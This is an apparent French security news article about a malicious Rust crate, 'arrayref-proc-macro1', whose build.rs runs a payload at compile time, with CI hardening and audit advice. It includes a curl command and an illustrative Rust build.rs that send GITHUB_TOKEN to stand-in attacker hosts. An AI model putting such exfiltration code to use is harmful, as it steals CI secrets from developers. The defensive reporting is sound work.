Supply-chain Rust : la crate Arrayref exécute un payload au build
Une attaque ciblée sur l'écosystème Rust démontre que les
build scriptsrestent le point faible critique des dépendances, menaçant directement l'intégrité des pipelines CI/CD et des images de production.
En bref
- Vulnérabilité active : La crate malveillante
arrayref-proc-macro1contient un code exécuté viabuild.rslors de la compilation. - Vecteur d'attaque classique : Exploitation du mécanisme de build-time execution propre à Cargo, permettant l'exécution arbitraire de commandes système.
- Impact critique : Compromission potentielle des secrets CI (tokens GitHub, clés API) et injection de backdoors dans les binaires compilés.
- Réponse de la communauté : Publication d'un avis de sécurité (
RUSTSEC) par l'équipe Rust Security et retrait immédiat de la crate depuis crates.io. - Action requise : Audit systématique des
build.rsdans les arbres de dépendances et durcissement des environnements de build.
Contexte
L'incident a été rapporté le 20 août 2026 par l'équipe Rust Security, qui a publié un avis officiel référencé sous l'identifiant RUSTSEC-2026-0031 (lié à l'issue #3161 du dépôt rustsec/advisory-db). L'analyse technique complète est disponible sur le blog de SafeDep, qui a documenté le mécanisme précis de l'infection.
La crate en question, nommée arrayref-proc-macro1, se présente comme une alternative à la crate légitime et très populaire arrayref. Ce type d'attaque par "typosquatting" ou usurpation de nom est fréquent dans les écosystèmes JavaScript (npm) et Python (PyPI), mais elle reste moins courante en Rust, où le verrouillage des versions via Cargo.lock est perçu comme un filet de sécurité robuste.
L'attaque ne cible pas directement l'utilisateur final qui exécute le binaire, mais l'environnement de compilation. En s'inscrivant dans la phase de build, le code malveillant profite du contexte d'exécution élevé (souvent avec accès aux variables d'environnement CI) pour exfiltrer des données ou installer des persistance. C'est un rappel brutal que la sécurité de l'outillage de développement est aussi importante que celle du produit final.
Détails techniques
Le mécanisme d'infection repose sur une particularité fondamentale de Cargo : l'exécution des scripts build.rs. Contrairement aux dépendances pures en code Rust qui sont simplement compilées et liées, les crates contenant un fichier build.rs sont exécutées avant la compilation du projet hôte.
Le vecteur d'attaque : build.rs
Dans le cas de arrayref-proc-macro1, l'attaquant a inclus un script build.rs qui ne se contente pas de générer du code (comme le ferait une crate de macros procédurales légitime), mais exécute des commandes système. Bien que l'extrait exact du payload ne soit pas entièrement reproduit dans les sources publiques citées, les analyses de ce type d'attaque montrent généralement deux comportements :
- Exfiltration : Lecture des variables d'environnement (ex:
GITHUB_TOKEN,AWS_SECRET_ACCESS_KEY) et envoi via une requête HTTP sortante vers un serveur contrôlé par l'attaquant. - Persistance/Backdoor : Modification du code généré ou insertion de fonctionnalités cachées dans le binaire final.
Le code malveillant s'appuie sur des crate standard ou tierces pour effectuer les opérations réseau ou système, rendant la détection par simple inspection visuelle plus difficile si l'on ne lit pas chaque ligne du build.rs.
Pourquoi est-ce dangereux ?
Dans un environnement CI/CD typique (GitHub Actions, GitLab CI, Jenkins), le runner dispose souvent de permissions étendues pour pousser des artefacts, publier des images Docker ou accéder à des registres privés. Un build.rs malveillant hérite de ces privilèges.
Voici un schéma mental du flux d'exécution compromis :
[ Déclenchement CI ]
|
v
[ cargo build ]
|
+--> [ Compilation des dépendances pures (sûres) ]
|
+--> [ Exécution de build.rs de 'arrayref-proc-macro1' ] <-- POINT D'ENTRÉE MALVEILLANT
|
+--> [ Lecture de $GITHUB_TOKEN ]
+--> [ curl -d "token=$GITHUB_TOKEN" https://malicious-server.com/steal ]
|
v
[ Compilation du projet final ]
|
v
[ Artefact compromis / Secrets volés ]
Exemple de structure suspecte (illustration)
Une crate légitime utilisant des macros procédurales n'a généralement pas besoin d'un build.rs complexe. Si une crate nommée xxx-proc-macro contient un build.rs qui appelle std::process::Command, c'est un signal d'alarme majeur.
// Exemple fictif de ce que pourrait contenir un build.rs malveillant
use std::env;
use std::process::Command;
fn main() {
// Simulation d'une exfiltration simple
if let Ok(token) = env::var("GITHUB_TOKEN") {
// Envoi vers un serveur externe (non documenté précisément dans la source, mais comportement type)
let _ = Command::new("curl")
.arg("-X")
.arg("POST")
.arg("https://attacker.com/exfil")
.arg(&format!("token={}", token))
.output();
}
// Générer un code Rust vide pour ne pas casser la compilation
println!("cargo:rustc-env=ARRAYREF_VERSION=1.0.0");
}
La difficulté réside dans le fait que Cargo n'émet pas d'avertissement spécifique lors de l'exécution de build.rs si celui-ci semble légitime à première vue (par exemple, en utilisant des crate tierces pour masquer les appels réseau).
Implications pour les consultants IT
Pour les administrateurs systèmes, architectes et développeurs, cet incident impose un changement de paradigme dans la gestion des dépendances Rust. La confiance aveugle en crates.io est insuffisante.
1. Audit manuel des build.rs
Avant d'intégrer une nouvelle dépendance, ou lors de l'audit périodique de l'arborescence (cargo tree), inspectez systématiquement les crates qui possèdent un fichier build.rs. Demandez-vous : Est-ce que cette crate a besoin d'exécuter du code natif au build ? Une crate de macros procédurales ou de types de données ne devrait généralement pas avoir besoin d'accéder au système de fichiers ou au réseau.
2. Durcissement des environnements CI/CD
Les runners CI doivent suivre le principe du moindre privilège. Ne fournissez jamais de tokens globaux (comme GITHUB_TOKEN avec scope repo) à tous les jobs. Utilisez des secrets spécifiques, limités dans le temps et restreints par IP ou par repository si possible. Activez les Secret Scanning et les alertes sur les requêtes sortantes non autorisées depuis les runners.
3. Intégration d'outils de sécurité (SCA)
Intégrez des solutions comme SafeDep, RustSec Advisory DB, ou les fonctionnalités natives de cargo audit dans votre pipeline. Bien que cargo audit se concentre sur les CVE connues, il est crucial pour détecter les crates rétroactivement déclarées malveillantes. Pour les nouvelles menaces, des outils d'analyse statique du code de build sont recommandés.
4. Politique de pin et revue
Évitez les dépendances transitoires non nécessaires. Si vous n'utilisez que la fonctionnalité ArrayRef, utilisez la crate officielle arrayref (maintenue par l'équipe Rust) et vérifiez que vos versions sont verrouillées dans Cargo.lock. N'importez jamais de crates tierces "similaires" sans revue approfondie du code source.
Pour aller plus loin
- Lien source originale : Malicious Rust crate Arrayref runs a build-time payload
- Avis de sécurité officiel : Rust Security Advisory DB - Issue #3161
- Blog officiel Rust (référence contextuelle) : Supply-chain attack on arrayref-proc-macro1
Actions concrètes recommandées
- Vérifier immédiatement si la crate
arrayref-proc-macro1(ou des variantes proches) est présente dans vosCargo.locket votre arborescence de dépendances viacargo tree -i arrayref-proc-macro1. - Auditer les secrets CI : Révoquer et régénérer tous les tokens d'authentification (GitHub, AWS, Azure) qui étaient exposés sur les runners ayant compilé des projets contenant cette dépendance.
- Mettre à jour vos outils de scan : Assurez-vous que
cargo auditest exécuté en mode strict dans votre CI et que vous surveillez le flux RSS du dépôtrustsec/advisory-dbpour recevoir les alertes en temps réel.